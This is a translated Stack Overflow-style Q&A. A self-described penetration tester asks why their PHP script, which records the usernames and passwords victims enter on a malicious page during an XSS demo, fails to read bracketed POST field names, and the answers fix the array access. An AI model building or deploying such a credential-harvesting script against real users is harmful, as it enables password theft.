【问题标题】:Posted data variables not being saved by PHP scriptPHP脚本未保存发布的数据变量
【发布时间】:2011-12-01 10:43:37
【问题描述】:

我是一名(初级)渗透测试员,我正在尝试编写一个脚本来向客户展示 XSS 攻击的危险。我有一个 php 脚本,用于记录用户:当受害者(即演示中的我自己)被重定向到我托管的恶意页面时传递组合。

这是登录源的一部分:

<input  type="text" id="form_login_username" name="form[login][username]" value=""       class="large" />
<input  type="password" id="form_login_password" name="form[login][password]" value="" class="large" />

我是 php 新手,所以它可能是导致问题的一些非常基本的东西。这是我记录详细信息的 php 脚本:

<?PHP
$filename = "login_details.txt";
$username = $_POST["form[login][username]"]; 
$password = $_POST["form[login][password]"];
$fh = fopen($filename, "aw") or die("cannot open file");
fwrite($fh, $username . ":" . $password . "\r\n");
fclose($fh);

有了这个脚本,我得到:

 Notice: Undefined index: form[login][username] in...

密码也一样。

我在 isset 中添加以查看是否设置了变量,但实际上没有设置。

我知道该脚本确实有效,因为我在其他几个简单的登录页面上进行了尝试,并且效果很好。唯一的区别是,在这种情况下,用户名和密码 post 变量中有方括号 - 这可能是问题吗?我已经尝试对它们进行 url 编码,但无济于事:(

任何想法我哪里出错了?谢谢=)

【问题讨论】:

    标签: php variables post


    【解决方案1】:

    因为访问变量的有效方法是

    $_POST['form']['login']['username']
    

    只需执行var_dump($_POST); 并查看您的帖子包含什么

    【讨论】:

    • 宾果游戏!我知道这很愚蠢 =) - 非常感谢 zerkms!
    【解决方案2】:

    试试这个,在你的表单名称属性中......

    name="formUsername"
    name="formPasswd"
    

    在您的接收脚本中...

    $username = $_POST['formUsername']; 
    $password = $_POST['formPasswd];
    

    【讨论】:

    • 您仍然可以将表单元素设置为数组值,有时有助于将它们聚集在一起
    • 感谢您的帮助,但我选择了另一个答案 - 虽然欢呼 =)
    【解决方案3】:

    您在该字段周围有&lt;form action="youscript.php" method="post"&gt; 吗?

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-08-26
      • 1970-01-01
      • 1970-01-01
      • 2016-06-06
      相关资源
      最近更新 更多